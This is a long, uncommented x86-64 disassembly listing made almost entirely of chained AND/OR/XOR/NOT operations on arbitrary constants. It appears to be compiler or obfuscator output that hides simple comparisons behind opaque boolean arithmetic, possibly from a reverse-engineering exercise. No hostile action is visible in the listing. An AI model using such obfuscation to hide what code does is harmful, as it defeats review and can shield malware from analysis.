and ebp, 0x5c8b1ebd
and ebx, 0x23706102
or ebx, ebp
or ecx, eax
and eax, 0x5c8b1ebd
and edx, 0xa374e142
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov esi, ecx
mov eax, ecx
xor eax, 0xc00d8e58
and eax, ecx
not ecx
and ecx, 0x80080050
and esi, 0x40058e08
or esi, ecx
mov ecx, esi
xor ecx, 0x40010608
xor esi, 0xbffa71f7
mov edx, eax
not edx
mov ebp, esi
and ebp, 0x7d4b8c4
and ecx, 0xc0090618
or ecx, ebp
or esi, edx
and edx, 0x7d4b8c4
and eax, 0xf82b473b
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov eax, r14d
mov edi, r14d
xor edi, 0x70807148
and edi, r14d
mov r12d, r14d
mov r8d, r14d
not r8d
mov ecx, r8d
and ecx, 0x1040
and eax, 0x70806108
or eax, ecx
mov ecx, eax
xor ecx, 0x30004008
xor eax, 0x8f7f9ef7
mov ebp, edi
not ebp
mov ebx, eax
and ebx, 0x4df0bb32
and ecx, 0x30004048
or ecx, ebx
or eax, ebp
and ebp, 0x4df0bb32
and edi, 0xb20f44cd
or edi, ebp
xor edi, ecx
not eax
or eax, edi
mov ecx, eax
not ecx
and ecx, 0x8f7f8eb7
and eax, 0x70807148
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x49e566a7
and eax, 0xb61a9958
or eax, ecx
mov edi, eax
xor edi, 0xb61a9958
xor eax, 0x94040a1
and eax, 0x194a48b9
mov ecx, edi
and ecx, 0xe6b5b746
or ecx, eax
xor ecx, 0x8a19ee3f
and edi, 0x9353a686
or edi, ecx
mov eax, edi
not eax
and eax, 0xda60e33d
and edi, 0x259f1cc2
or edi, eax
mov ebp, edi
xor ebp, 0x259f1cc2
mov eax, r8d
and eax, 0x6cac5979
xor r12d, 0x9353a686
or r12d, eax
mov r11d, r12d
not r11d
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x39d37ce1
mov ebx, esi
and ebx, 0xc62c831e
or ebx, eax
xor ebx, 0xaa80da67
mov r9d, esi
and r9d, 0x9353a686
or r9d, ebx
and ecx, 0xfbd68bb7
and esi, 0x4297448
or esi, ecx
mov r15d, esi
xor r15d, 0x4297448
xor esi, 0xd9528aa6
and esi, 0xdd73beee
mov eax, r15d
and eax, 0x228c4111
or eax, esi
xor eax, 0xb1dfe797
and r15d, 0x6cac5979
or r15d, eax
xor edi, 0xca40e134
and edi, 0xcbc2e1f4
mov r13d, ebp
and r13d, 0x343d1e0b
or r13d, edi
mov r10d, r13d
xor r10d, 0x343d1e0b
mov eax, r12d
and eax, 0x590b8bac
xor r12d, 0xe47a96b9
and r12d, r11d
mov edi, r11d
and edi, 0xa6f47453
or edi, eax
mov r11d, edi
xor r11d, 0xa6f47453
mov eax, r13d
xor eax, 0xd04788b2
and eax, r10d
and ebp, 0xe47a96b9
mov esi, eax
and esi, ebp
xor ebp, eax
mov eax, r11d
and eax, 0x1b856946
or ebp, esi
mov esi, eax
and esi, r12d
xor r12d, eax
or r12d, esi
mov eax, ebp
not eax
and eax, 0x528823d7
and ebp, 0xad77dc28
or ebp, eax
mov eax, r12d
not eax
and eax, 0x528823d7
and r12d, 0xad77dc28
or r12d, eax
xor r12d, ebp
xor r13d, 0xcbc2e1f4
mov eax, r13d
and eax, 0xc1cfd95b
and r10d, 0x3e3026a4
or r10d, eax
mov esi, r14d
xor esi, 0x5af29a5b
and esi, r14d
mov eax, r14d
xor edi, 0x590b8bac
or r13d, edi
and edi, 0xc1cfd95b
and r11d, 0x3e3026a4
or r11d, edi
mov r14d, dword [0x1400c566c]
xor r11d, r10d
mov ebp, r9d
not ebp
not r13d
or r13d, r11d
mov ebx, r13d
not ebx
and ebx, 0x546c9788
and r13d, 0xab936877
or r13d, ebx
xor r13d, 0xab936877
mov edx, r12d
and edx, r13d
xor r13d, r12d
mov ebx, r15d
not ebx
or r13d, edx
mov edi, r9d
or edi, r15d
and r9d, 0x53ca74f8
and ebp, 0xac358b07
or ebp, r9d
mov edx, edi
not edx
and r15d, 0x53ca74f8
and ebx, 0xac358b07
or ebx, r15d
xor ebx, ebp
mov ebp, ebx
not ebp
mov ecx, edi
and ecx, 0x30f3d381
and edx, 0xcf0c2c7e
or edx, ecx
or edi, ebp
and ebp, 0x30f3d381
and ebx, 0xcf0c2c7e
or ebx, ebp
xor ebx, edx
not edi
or edi, ebx
mov ecx, r13d
mov ebp, r13d
xor ebp, 0xdd4008c4
and ebp, r13d
not r13d
and r13d, 0x5c4000c0
and ecx, 0x81000804
or ecx, r13d
mov r9d, ecx
xor r9d, 0x80000004
xor ecx, 0x7efff7fb
mov ebx, edi
not ebx
mov edx, edi
xor edx, 0xdd4008c4
and ebx, edx
and edx, edi
mov edi, ecx
and edi, 0x15b5285a
and r9d, 0xc8400084
or r9d, edi
mov edi, ebp
not edi
or ecx, edi
and edi, 0x15b5285a
and ebp, 0xea4ad7a5
or ebp, edi
xor ebp, r9d
not ecx
or ecx, ebp
mov edi, ebx
not edi
mov ebp, edx
not ebp
mov r9d, edi
and r9d, 0xa20a3b5a
and ebx, 0x5df5c4a5
or ebx, r9d
or edi, ebp
and ebp, 0xa20a3b5a
and edx, 0x5df5c4a5
or edx, ebp
xor edx, ebx
not edi
or edi, edx
mov edx, ecx
not edx
and edx, 0x1cdbc056
and ecx, 0xe3243fa9
or ecx, edx
mov edx, edi
not edx
and edx, 0x1cdbc056
and edi, 0xe3243fa9
or edi, edx
xor edi, ecx
and r8d, 0x4872100a
and eax, 0x12808a51
or eax, r8d
mov ecx, eax
xor ecx, 0x12808001
xor eax, 0xed7f75ae
mov edx, esi
not edx
mov ebp, eax
and ebp, 0xc51a0b7c
and ecx, 0x1ae09003
or ecx, ebp
or eax, edx
and edx, 0xc51a0b7c
and esi, 0x3ae5f483
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
and ecx, 0xa50d65a4
and eax, 0x5af29a5b
or eax, ecx
mov ebp, edi
not ebp
mov ecx, ebp
and ecx, 0x24ddf7d3
mov edx, edi
and edx, 0xdb22082c
or edx, ecx
xor edx, eax
xor edx, 0x24ddf7d3
and edx, eax
mov ecx, eax
not ecx
and ecx, 0x76c7f0f8
and eax, 0x89380f07
or eax, ecx
xor eax, edi
xor eax, 0x76c7f0f8
and eax, edi
mov ecx, edx
not ecx
mov ebx, eax
not ebx
mov esi, ecx
and esi, 0x19faa11b
and edx, 0xe6055ee4
or edx, esi
or ecx, ebx
and ebx, 0x19faa11b
and eax, 0xe6055ee4
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x4787f551
and eax, 0xb8780aae
or eax, edx
or ecx, edi
and edi, 0x4787f551
and ebp, 0xb8780aae
or ebp, edi
xor ebp, eax
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete dil
mov byte [rsp + 0x48], dil
setne r9b
cmp r14d, 0xa
setl dl
cmp r14d, 9
setg r8b
xor r8b, dl
and dl, r8b
mov ebx, edx
xor bl, 1
mov eax, edx
or al, bl
xor dl, al
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
or dl, al
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov esi, edx
xor sil, 1
and sil, dl
xor sil, 1
mov eax, edx
xor al, sil
or sil, dl
xor sil, 1
or sil, al
mov ecx, r8d
or cl, sil
mov edx, r8d
xor dl, sil
xor dl, 1
and dl, sil
xor sil, 1
mov ebx, esi
and bl, r8b
xor sil, r8b
or sil, bl
xor sil, 1
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
xor dl, sil
xor dl, 1
and sil, dl
xor sil, 1
mov eax, esi
xor al, dl
or sil, dl
xor sil, 1
or sil, al
mov eax, esi
xor al, 1
or sil, al
xor sil, 1
xor al, sil
and sil, al
mov ecx, eax
xor cl, sil
xor sil, 1
xor cl, 1
or sil, al
xor sil, 1
or sil, cl
mov byte [rsp + 0x40], sil
mov edx, esi
xor dl, 1
mov byte [rsp + 0x38], dl
mov ecx, edx
or cl, sil
mov eax, esi
or al, cl
xor cl, dl
xor al, 1
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ebx, edx
xor bl, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, bl
or bl, al
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov r13d, ecx
or r13b, al
xor cl, r13b
xor cl, 1
or r13b, al
xor r13b, 1
or r13b, cl
mov eax, r13d
xor al, 1
and r13b, al
mov ecx, eax
and cl, r13b
xor r13b, al
or r13b, cl
mov r10d, r13d
xor r10b, 1
mov r14d, r8d
xor r14b, 1
or r14b, r8b
mov eax, r14d
xor al, 1
and r14b, al
mov ecx, eax
and cl, r14b
xor r14b, al
or r14b, cl
mov r11d, r14d
xor r11b, 1
mov ecx, r9d
mov ebx, r9d
xor bl, dil
and bl, cl
mov r8d, ecx
mov byte [rsp + 0x3c], cl
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, 1
or al, bl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
xor dl, r8b
and al, dl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov byte [rsp + 0x3a], al
mov esi, r13d
and sil, r10b
mov eax, r10d
mov r15d, r13d
or r15b, r10b
mov ebp, r10d
xor bpl, r13b
and bpl, r10b
and r10b, sil
xor al, sil
or al, r10b
mov edx, eax
xor dl, 1
mov ecx, eax
xor cl, r15b
and cl, al
and al, r15b
mov r8d, eax
mov ebx, ebp
xor bl, 1
or bl, r15b
xor r15b, 1
and dl, r15b
or r8b, dl
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov byte [rsp + 0x39], r8b
mov ecx, r11d
and cl, r14b
mov eax, r11d
and al, cl
xor r11b, cl
or al, r11b
mov r10d, eax
xor r10b, 1
mov r12d, eax
and r12b, r10b
mov edi, r12d
and dil, al
xor r12b, al
or r12b, dil
or r10b, al
mov eax, r10d
xor al, r12b
xor r12b, 1
xor al, 1
or r12b, r10b
xor r12b, 1
or r12b, al
mov edi, r8d
xor dil, 1
mov r10d, edi
and r10b, r8b
mov eax, r10d
xor al, r8b
and al, r10b
mov r10d, r12d
xor r10b, 1
mov edx, r10d
and dl, r12b
mov r8d, edx
xor r8b, 1
xor dl, r10b
or r8b, r12b
xor r8b, 1
or r8b, dl
mov edx, r8d
xor dl, r12b
or r8b, r12b
xor r8b, 1
or r8b, dl
xor cl, 1
or cl, r14b
xor cl, 1
or cl, r11b
mov edx, ecx
xor dl, 1
or cl, dl
mov r11d, edx
xor r11b, cl
or cl, dl
xor cl, 1
or cl, r11b
mov edx, eax
xor dl, 1
mov r14d, edx
and r14b, al
xor r14b, 1
mov r11d, eax
xor r11b, r14b
or r14b, al
xor r14b, 1
or r14b, r11b
or dl, al
mov r11d, r14d
xor r11b, 1
mov eax, r11d
or al, dl
xor dl, r14b
xor al, 1
xor dl, 1
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
xor bpl, r15b
xor bl, 1
mov eax, ebx
and al, bpl
xor bpl, bl
or bpl, al
xor bpl, 1
mov eax, ebp
or al, dl
xor bpl, dl
xor bpl, 1
and bpl, dl
xor al, 1
mov edx, eax
and dl, bpl
xor bpl, al
or bpl, dl
and r14b, r11b
mov eax, r11d
and al, r14b
xor r14b, r11b
or r14b, al
mov eax, r13d
and al, sil
xor sil, r13b
or sil, al
mov eax, r14d
xor al, 1
and al, sil
xor sil, 1
and sil, r14b
or sil, al
mov eax, r11d
and al, r13b
xor r11b, r13b
or r11b, al
xor r11b, 1
mov eax, esi
and al, r11b
xor r11b, sil
or r11b, al
mov ebx, r11d
xor bl, 1
and bl, r11b
xor bl, 1
mov eax, r11d
xor al, bl
or bl, r11b
mov r15b, byte [rsp + 0x38]
mov r14d, r15d
mov r13b, byte [rsp + 0x40]
and r14b, r13b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
xor bl, bpl
xor bpl, 1
or bpl, al
xor bl, 1
mov eax, ebp
xor al, bl
or bl, bpl
xor bl, 1
or bl, al
mov edx, r8d
and dl, cl
xor cl, r8b
or dl, cl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov r8d, ebx
xor r8b, 1
mov edx, r8d
and dl, bl
mov ecx, r8d
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
xor dl, cl
xor dl, 1
or dl, cl
and cl, al
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
mov r11b, byte [rsp + 0x3a]
mov r9d, r11d
xor r9b, 1
xor cl, 1
or cl, bl
xor cl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, edx
or al, cl
xor al, 1
xor cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, edi
and al, r10b
mov edx, edi
xor dl, r10b
or dl, al
and r10b, byte [rsp + 0x39]
and dil, r12b
or dil, r10b
mov ebx, edx
xor bl, dil
xor dil, 1
or dil, dl
xor dil, 1
xor bl, 1
mov eax, edi
and al, bl
xor bl, dil
or bl, al
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov r8d, edx
xor r8b, al
xor al, 1
or al, bl
xor al, 1
or al, r8b
or dl, bl
mov r8d, edx
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
xor al, 1
xor r8b, 1
and r8b, al
or dl, r8b
xor bl, 1
xor dl, 1
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov r10d, edx
xor r10b, 1
mov eax, r10d
and al, dl
mov r8d, r10d
xor r8b, al
xor al, 1
or al, dl
xor al, 1
or al, r8b
mov ebx, eax
xor bl, 1
xor al, r10b
or bl, dl
xor bl, 1
or bl, al
mov eax, ecx
xor al, 1
xor cl, bl
xor bl, 1
mov edx, ecx
xor dl, al
and dl, cl
mov ebp, eax
xor bpl, bl
xor bpl, 1
and bpl, bl
or bl, al
xor bpl, 1
mov eax, ebp
xor al, bl
or bpl, bl
xor bpl, 1
or bpl, al
xor dl, 1
xor bpl, 1
mov eax, edx
or al, bpl
xor al, 1
xor bpl, dl
mov ecx, eax
and cl, bpl
xor bpl, al
or bpl, cl
mov ebx, r11d
mov eax, r11d
or al, r9b
mov ecx, eax
xor cl, 1
and al, cl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov edx, r11d
xor al, r11b
xor r9b, r11b
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov r8d, ebx
xor r8b, 1
mov edx, ebx
and dl, r8b
mov eax, edx
and al, r8b
xor dl, r8b
or dl, al
xor dl, 1
or r9b, cl
xor r9b, 1
mov eax, edx
or al, r9b
xor al, 1
mov ecx, edx
xor cl, r9b
or al, cl
mov r10d, eax
xor r10b, 1
and r9b, cl
and cl, dl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov r9d, ecx
xor r9b, 1
and cl, al
or al, r9b
xor al, 1
and r9b, r10b
or r9b, cl
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
mov eax, r9d
xor al, 1
or r9b, al
xor r9b, 1
mov ecx, eax
xor cl, r9b
or r9b, al
xor r9b, 1
or r9b, cl
xor cl, 1
mov eax, ecx
xor al, r9b
or r9b, cl
xor r9b, 1
or r9b, al
xor r8b, bl
mov eax, r8d
xor al, 1
and bl, al
mov ecx, ebx
xor cl, 1
xor bl, r8b
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
xor bl, 1
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, dl
and bl, al
or bl, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor bl, 1
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
and bl, al
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov r11d, ebx
xor r11b, 1
mov r8d, r9d
xor r8b, 1
mov r10d, r9d
or r10b, r8b
xor r10b, 1
mov eax, r9d
xor al, r8b
and al, r9b
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov esi, ecx
and sil, dl
xor dl, cl
or dl, sil
xor dl, r10b
xor dl, 1
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor al, bl
xor al, 1
mov ecx, r9d
and cl, r8b
mov esi, r11d
and sil, bl
xor r9b, cl
xor cl, 1
or cl, r8b
xor cl, 1
or cl, r9b
mov r9d, r11d
and r9b, sil
xor sil, r11b
or sil, r9b
xor sil, cl
mov ecx, r8d
xor cl, bl
or r8b, bl
xor r8b, 1
or r8b, cl
mov ecx, r8d
xor cl, sil
xor sil, 1
xor cl, 1
or sil, r8b
xor sil, 1
or sil, cl
xor sil, 1
mov ecx, eax
xor cl, sil
or sil, al
xor sil, 1
or sil, cl
xor sil, 1
mov eax, ecx
and al, sil
xor sil, cl
or sil, al
mov edi, ebp
xor dil, 1
mov eax, edi
and al, bpl
mov ecx, edi
and cl, al
xor al, dil
or al, cl
mov r8d, eax
xor r8b, 1
mov ecx, ebp
or cl, dil
mov r9d, ecx
xor r9b, 1
mov r10d, eax
and r10b, r8b
mov ebx, r9d
and bl, cl
mov edx, r10d
xor dl, 1
xor r10b, al
or dl, r8b
xor dl, 1
or dl, r10b
mov eax, ebx
and al, r9b
xor bl, r9b
or bl, al
xor bl, dl
xor bl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov ebx, esi
xor bl, 1
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
mov r8d, edx
and r8b, sil
xor dl, 1
and dl, bl
or dl, r8b
xor cl, sil
or al, bl
xor al, 1
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r11d, eax
xor r11b, 1
or bl, sil
mov ecx, ebx
xor cl, sil
xor cl, 1
or bl, sil
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
and bpl, bl
xor bl, 1
and bl, dil
or bl, bpl
xor bl, 1
mov ecx, ebx
and cl, dil
xor bl, dil
or bl, cl
mov ecx, ebx
xor cl, 1
or cl, r11b
and r11b, al
mov edx, eax
and dl, r11b
xor r11b, al
xor al, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or r11b, dl
xor r11b, bl
xor r11b, 1
mov edx, ecx
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, r11b
mov eax, ecx
and al, r11b
xor r11b, cl
or r11b, al
xor r11b, 1
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
xor r14b, 1
mov eax, r14d
mov r9d, r13d
xor al, r13b
or r14b, r13b
xor r14b, 1
or r14b, al
mov ebp, r14d
mov dl, byte [rsp + 0x48]
xor bpl, dl
mov eax, r15d
mov ebx, r15d
xor bl, dl
mov ecx, r15d
mov r8d, eax
or cl, dl
xor cl, 1
or cl, bl
xor bpl, 1
mov eax, ebp
xor al, cl
or bpl, cl
xor bpl, 1
or bpl, al
mov edi, ebp
xor dil, 1
xor r14b, 1
mov eax, edx
and al, r14b
xor r14b, dl
or r14b, al
mov eax, r14d
xor al, 1
xor r8b, byte [rsp + 0x3c]
mov ebx, r13d
or bl, dl
xor bl, 1
or bl, r8b
mov ecx, eax
and cl, r14b
mov edx, ecx
xor dl, 1
xor cl, al
or dl, r14b
xor dl, 1
or dl, cl
mov ecx, ebx
xor dl, bl
mov eax, r14d
and al, cl
xor cl, r14b
or cl, al
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov r8d, ecx
mov r15d, ecx
xor r8b, 1
mov r14d, edi
or r14b, bpl
mov ebx, r14d
xor bl, 1
mov r9d, r8d
or r9b, cl
mov r10d, r9d
xor r10b, 1
mov edx, ebx
and dl, r14b
mov eax, edx
xor al, 1
xor dl, bl
or al, r14b
xor al, 1
or al, dl
mov esi, edi
and sil, bpl
mov ecx, esi
and cl, dil
mov edx, esi
xor dl, dil
or dl, cl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
and dl, al
or dl, cl
xor r14b, bpl
or bl, dil
xor bl, 1
or bl, r14b
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov ecx, r9d
and cl, r10b
xor r9b, cl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, 1
and al, r8b
and cl, r15b
or cl, al
mov eax, r10d
xor al, r15b
or r10b, r15b
xor r10b, 1
or r10b, al
xor cl, 1
mov eax, ecx
xor al, r10b
or cl, r10b
xor cl, 1
or cl, al
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and cl, dl
or cl, al
xor sil, 1
mov eax, ebp
xor al, sil
or sil, bpl
xor sil, 1
or sil, al
xor sil, r15b
xor r15b, dil
or r8b, bpl
xor r8b, 1
or r8b, r15b
xor sil, 1
mov eax, esi
xor al, r8b
or sil, r8b
xor sil, 1
or sil, al
mov r8d, esi
xor r8b, 1
mov r10d, ecx
xor r10b, 1
mov edx, ecx
and dl, r10b
mov eax, r8d
and al, sil
mov r9d, edx
and r9b, cl
xor dl, cl
or dl, r9b
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
mov ecx, edx
xor cl, 1
and cl, al
xor al, 1
and al, dl
or al, cl
mov ecx, r10d
and cl, sil
xor r10b, sil
or r10b, cl
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov ebx, r10d
xor bl, 1
mov edx, r10d
and dl, bl
mov ecx, r10d
xor cl, dl
xor dl, 1
mov eax, ebx
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov r8d, eax
xor r8b, cl
or cl, al
xor cl, 1
or cl, r8b
mov r8d, ecx
and r8b, al
xor cl, al
or cl, r8b
mov r8d, ecx
xor r8b, 1
mov eax, edx
xor al, r10b
or dl, r10b
xor dl, 1
or dl, al
or bl, r10b
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
mov r10d, ecx
xor r10b, r8b
and r10b, cl
or cl, r8b
mov r9d, ecx
xor r9b, 1
or bl, al
mov edx, r10d
xor dl, 1
and r9b, dl
or dl, cl
xor dl, 1
and cl, r10b
or cl, r9b
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov edx, eax
xor dl, bl
mov r9d, edx
xor r9b, 1
and bl, al
or bl, dl
xor dl, bl
xor dl, 1
or bl, r9b
xor bl, 1
or bl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov r9d, ecx
xor r9b, dl
or dl, cl
xor dl, 1
or dl, r9b
xor dl, bl
mov r9d, edx
xor r9b, 1
mov ebx, r8d
or bl, al
xor bl, 1
xor al, r8b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and cl, dl
or dl, bl
xor dl, 1
and bl, r9b
or bl, cl
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov ecx, ebx
xor cl, 1
mov eax, ecx
and al, bl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r8d, eax
xor r8b, 1
or cl, bl
mov ebp, ecx
xor bpl, 1
mov ebx, r8d
and bl, al
mov edx, ecx
and dl, bpl
xor bl, 1
mov r9d, eax
xor r9b, bl
or bl, al
xor bl, 1
or bl, r9b
xor r8b, cl
xor cl, dl
xor dl, 1
or dl, bpl
xor dl, 1
or dl, cl
xor dl, bl
or bpl, al
xor bpl, 1
or bpl, r8b
xor bpl, 1
mov eax, edx
and al, bpl
xor bpl, dl
or bpl, al
mov eax, ebp
xor al, 1
mov ecx, eax
and cl, bpl
mov edx, ecx
xor dl, 1
mov ebx, ebp
and bl, dl
or dl, al
xor dl, 1
and cl, al
or cl, bl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ebp
or al, cl
xor bpl, cl
xor bpl, 1
and bpl, cl
xor cl, 1
xor al, 1
mov edx, eax
and dl, bpl
xor bpl, al
or bpl, dl
xor bpl, 1
mov eax, ebp
and al, cl
xor bpl, cl
or bpl, al
mov r9d, ebp
xor r9b, 1
mov r14d, r11d
xor r14b, 1
mov eax, r11d
or al, r14b
mov edi, eax
xor dil, 1
and r14b, r11b
and dil, al
mov ecx, r11d
and cl, r14b
mov ebx, r11d
xor bl, r14b
or bl, cl
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
xor dil, bl
mov ecx, r11d
and cl, al
xor al, r11b
or al, cl
mov ecx, eax
xor cl, dil
xor dil, 1
xor cl, 1
or dil, al
xor dil, 1
or dil, cl
mov r8d, edi
xor r8b, 1
mov r15d, ebp
and r15b, r9b
mov r10d, ebp
and r10b, r15b
mov esi, r15d
xor sil, bpl
or r10b, sil
or bpl, r9b
xor r15b, 1
or r15b, r9b
xor r15b, 1
or r15b, sil
mov esi, ebp
xor sil, r15b
xor r15b, 1
or r15b, bpl
xor bpl, 1
mov eax, r10d
xor al, bpl
or bpl, r10b
xor bpl, 1
or bpl, al
xor bpl, 1
mov ecx, eax
and cl, bpl
xor bpl, al
or bpl, cl
mov r10d, ebp
xor r10b, 1
mov eax, r8d
and al, dil
xor al, 1
mov ecx, edi
xor cl, al
or al, dil
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
xor r14b, 1
mov eax, r11d
xor al, r14b
or r14b, r11b
xor r14b, 1
or r14b, al
mov eax, r14d
xor al, 1
and r14b, al
xor r14b, 1
mov ebx, r14d
xor bl, al
or r14b, al
xor r14b, 1
or r14b, bl
mov r11d, r14d
xor r11b, 1
mov eax, ebp
and al, r10b
xor bpl, r10b
or bpl, al
mov r13d, ebp
xor r13b, 1
and r13b, bpl
xor r13b, 1
mov ebx, ebp
xor bl, r13b
or r13b, bpl
xor r13b, 1
or r13b, bl
mov ebx, edx
and bl, cl
mov ebp, edx
xor bpl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, bpl
mov ebp, ebx
xor bpl, 1
or dl, cl
mov r12d, edx
xor r12b, 1
mov ecx, ebx
xor cl, dl
and cl, bl
and r12b, bpl
and dl, bl
or dl, r12b
mov r12d, ecx
xor r12b, 1
xor cl, dl
xor dl, 1
or dl, r12b
xor dl, 1
or dl, cl
mov eax, r14d
or al, r11b
xor al, 1
mov ecx, r14d
and cl, al
xor al, r14b
or al, cl
mov r12d, edx
xor r12b, 1
mov ecx, r12d
and cl, dl
xor r12b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r12b
xor cl, al
xor cl, 1
xor bpl, r11b
mov eax, ebx
xor al, r14b
or bl, r14b
xor bl, 1
or bl, bpl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, cl
xor al, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ebx, r13d
xor bl, 1
mov edx, ebx
and dl, r13b
xor dl, 1
mov eax, r13d
xor al, dl
or dl, r13b
xor dl, 1
or dl, al
or bl, r13b
mov eax, ebx
xor al, 1
mov r11d, ebx
and r11b, dl
xor dl, 1
and al, dl
or al, r11b
mov r11d, edx
and r11b, bl
xor bl, dl
or bl, r11b
xor al, 1
mov r11d, eax
xor r11b, bl
or al, bl
xor al, 1
or al, r11b
xor sil, 1
xor r15b, 1
or r15b, sil
mov ebx, eax
xor bl, 1
and bl, r15b
xor r15b, 1
and r15b, al
or r15b, bl
mov eax, edx
or al, r9b
xor al, 1
xor dl, r9b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, r15b
and r15b, dl
mov eax, edx
xor al, r15b
xor r15b, 1
xor al, 1
or r15b, dl
xor r15b, 1
or r15b, al
mov esi, ecx
xor sil, 1
mov eax, ecx
xor al, sil
or sil, cl
mov r11d, esi
xor r11b, 1
and al, cl
mov r9d, r15d
xor r9b, 1
mov ecx, r9d
and cl, r15b
xor cl, 1
mov ebx, r15d
xor bl, cl
or cl, r15b
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, eax
xor dl, 1
and al, dl
mov ebp, edx
and bpl, al
xor al, dl
or al, bpl
and r11b, al
xor al, 1
and al, sil
